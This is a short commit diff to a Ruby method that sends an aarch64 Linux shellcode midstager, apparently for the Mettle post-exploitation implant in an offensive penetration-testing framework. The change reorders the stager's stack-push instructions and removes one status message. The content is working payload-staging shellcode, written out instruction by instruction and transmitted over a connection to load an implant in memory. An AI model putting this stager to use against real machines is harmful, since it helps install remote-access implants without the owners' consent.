@@ -40,7 +40,6 @@ def handle_intermediate_stage(conn, payload)
40
40
# Generated from external/source/shellcode/linux/aarch64/stage_mettle.s
41
41
midstager = [
42
42
43
-
44
43
0x10000782 , # adr x2, f0 <size>
45
44
0xb9400042 , # ldr w2, [x2]
46
45
0xaa0203ea , # mov x10, x2
@@ -78,38 +77,36 @@ def handle_intermediate_stage(conn, payload)
78
77
0xd2800da1 , # mov x1, #0x6d // #109
79
78
0xf90003e1 , # str x1, [sp]
80
79
0x910003e1 , # mov x1, sp
81
- 0xa9bf07e0 , # stp x0, x1, [sp,#-16]!
82
80
0xaa0c03e2 , # mov x2, x12
83
81
0xd2800003 , # mov x3, #0x0 // #0
84
- 0xa9bf0fe2 , # stp x2, x3, [sp,#-16]!
85
82
0xd2800004 , # mov x4, #0x0 // #0
86
83
0xd28000e5 , # mov x5, #0x7 // #7
87
- 0xa9bf17e4 , # stp x4, x5, [sp,#-16]!
88
84
0xaa0a03e6 , # mov x6, x10
89
85
0xd28000c7 , # mov x7, #0x6 // #6
90
- 0xa9bf1fe6 , # stp x6, x7, [sp,#-16]!
91
86
0xd2820008 , # mov x8, #0x1000 // #4096
92
87
0xd2800329 , # mov x9, #0x19 // #25
93
- 0xa9bf27e8 , # stp x8, x9, [sp,#-16]!
94
88
0xaa0a03ea , # mov x10, x10
95
89
0xd280000b , # mov x11, #0x0 // #0
96
90
0xa9bf2fea , # stp x10, x11, [sp,#-16]!
91
+ 0xa9bf27e8 , # stp x8, x9, [sp,#-16]!
92
+ 0xa9bf1fe6 , # stp x6, x7, [sp,#-16]!
93
+ 0xa9bf17e4 , # stp x4, x5, [sp,#-16]!
94
+ 0xa9bf0fe2 , # stp x2, x3, [sp,#-16]!
95
+ 0xa9bf07e0 , # stp x0, x1, [sp,#-16]!
97
96
0xd280001d , # mov x29, #0x0 // #0
98
97
0xd280001e , # mov x30, #0x0 // #0
99
98
0xd61f01c0 , # br x14
100
99
0xd2800000 , # mov x0, #0x0 // #0
101
100
0xd2800ba8 , # mov x8, #0x5d // #93
102
101
0xd4000001 , # svc #0x0
103
102
0xd503201f , # nop
104
-
105
103
payload . length ,
106
104
0x00000000 , # .word 0x00000000
107
105
entry_offset ,
108
106
0x00000000 , # .word 0x00000000
109
107
] . pack ( 'V*' )
110
108
111
109
print_status ( "Transmitting intermediate midstager...(#{ midstager . length } bytes)" )
112
- print_status ( "Transmitting intermediate paystager...(#{ payload . length } bytes)" )
113
110
conn . put ( [ midstager . length ] . pack ( 'V' ) )
114
111
conn . put ( midstager ) == midstager . length
115
112
end
0 commit comments